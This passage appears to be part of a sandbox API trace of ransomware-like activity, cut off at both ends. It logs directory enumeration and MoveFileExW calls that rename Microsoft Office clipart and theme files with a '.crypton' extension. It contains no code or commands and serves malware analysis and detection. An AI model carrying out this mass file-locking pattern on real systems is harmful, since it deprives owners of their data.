Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif.crypton"), dwFlags=0x2) returned 1 [0086.157] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif.crypton"), dwFlags=0x2) returned 1 [0086.162] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif.crypton"), dwFlags=0x2) returned 1 [0086.168] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.crypton"), dwFlags=0x2) returned 1 [0086.181] GetFileType (hFile=0x190) returned 0x1 [0086.185] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb0b95700, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb0b95700, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0086.190] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb0bbb860, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb0bbb860, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000236, cFileName=".", cAlternateFileName="")) returned 0x549810 [0086.195] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif.crypton"), dwFlags=0x2) returned 1 [0086.197] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif.crypton"), dwFlags=0x2) returned 1 [0086.199] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif.crypton"), dwFlags=0x2) returned 1 [0086.202] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143746.gif.crypton"), dwFlags=0x2) returned 1 [0086.208] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif.crypton"), dwFlags=0x2) returned 1 [0086.213] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143749.gif.crypton"), dwFlags=0x2) returned 1 [0086.216] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143750.gif.crypton"), dwFlags=0x2) returned 1 [0086.219] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif.crypton"), dwFlags=0x2) returned 1 [0086.225] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif.crypton"), dwFlags=0x2) returned 1 [0086.229] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif.crypton"), dwFlags=0x2) returned 1 [0086.232] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif.crypton"), dwFlags=0x2) returned 1 [0086.238] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00516L.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00516l.gif.crypton"), dwFlags=0x2) returned 1 [0086.249] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00531L.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00531l.gif.crypton"), dwFlags=0x2) returned 1 [0086.256] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif.crypton"), dwFlags=0x2) returned 1 [0086.263] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00703L.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00703l.gif.crypton"), dwFlags=0x2) returned 1 [0086.272] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00760L.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00760l.gif.crypton"), dwFlags=0x2) returned 1 [0086.281] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00780L.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00780l.gif.crypton"), dwFlags=0x2) returned 1 [0086.285] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif.crypton"), dwFlags=0x2) returned 1 [0086.289] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02039_.gif.crypton"), dwFlags=0x2) returned 1 [0086.293] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif.crypton"), dwFlags=0x2) returned 1 [0086.295] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif.crypton"), dwFlags=0x2) returned 1 [0086.298] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02074_.gif.crypton"), dwFlags=0x2) returned 1 [0086.301] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif.crypton"), dwFlags=0x2) returned 1 [0086.308] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif.crypton"), dwFlags=0x2) returned 1 [0086.311] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif.crypton"), dwFlags=0x2) returned 1 [0086.315] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif.crypton"), dwFlags=0x2) returned 1 [0086.320] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif.crypton"), dwFlags=0x2) returned 1 [0086.323] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02116_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02116_.gif.crypton"), dwFlags=0x2) returned 1 [0086.339] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif.crypton"), dwFlags=0x2) returned 1 [0086.343] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif.crypton"), dwFlags=0x2) returned 1 [0086.356] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif.crypton"), dwFlags=0x2) returned 1 [0086.363] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif.crypton"), dwFlags=0x2) returned 1 [0086.372] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif.crypton"), dwFlags=0x2) returned 1 [0086.377] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif.crypton"), dwFlags=0x2) returned 1 [0086.383] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb0d848e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb0d848e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x549750 [0086.390] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb0daaa40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xb0daaa40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000435, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0086.393] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Adjacency.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\adjacency.xml.crypton"), dwFlags=0x2) returned 1 [0086.396] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Angles.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\angles.xml.crypton"), dwFlags=0x2) returned 1 [0086.399] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apex.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apex.xml.crypton"), dwFlags=0x2) returned 1 [0086.403] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Apothecary.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\apothecary.xml.crypton"), dwFlags=0x2) returned 1 [0086.405] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml.crypton"), dwFlags=0x2) returned 1 [0086.418] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Austin.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\austin.xml.crypton"), dwFlags=0x2) returned 1 [0086.421] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml.crypton"), dwFlags=0x2) returned 1 [0086.423] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml.crypton"), dwFlags=0x2) returned 1 [0086.426] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml.crypton"), dwFlags=0x2) returned 1 [0086.429] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Composite.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\composite.xml.crypton"), dwFlags=0x2) returned 1 [0086.434] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Concourse.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\concourse.xml.crypton"), dwFlags=0x2) returned 1 [0086.439] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Couture.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\couture.xml.crypton"), dwFlags=0x2) returned 1 [0086.442] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Elemental.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\elemental.xml.crypton"), dwFlags=0x2) returned 1 [0086.444] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Equity.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\equity.xml.crypton"), dwFlags=0x2) returned 1 [0086.448] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml.crypton"), dwFlags=0x2) returned 1 [0086.451] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml.crypton"), dwFlags=0x2) returned 1 [0086.453] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml.crypton"), dwFlags=0x2) returned 1 [0086.464] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.crypton" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml.crypton"), 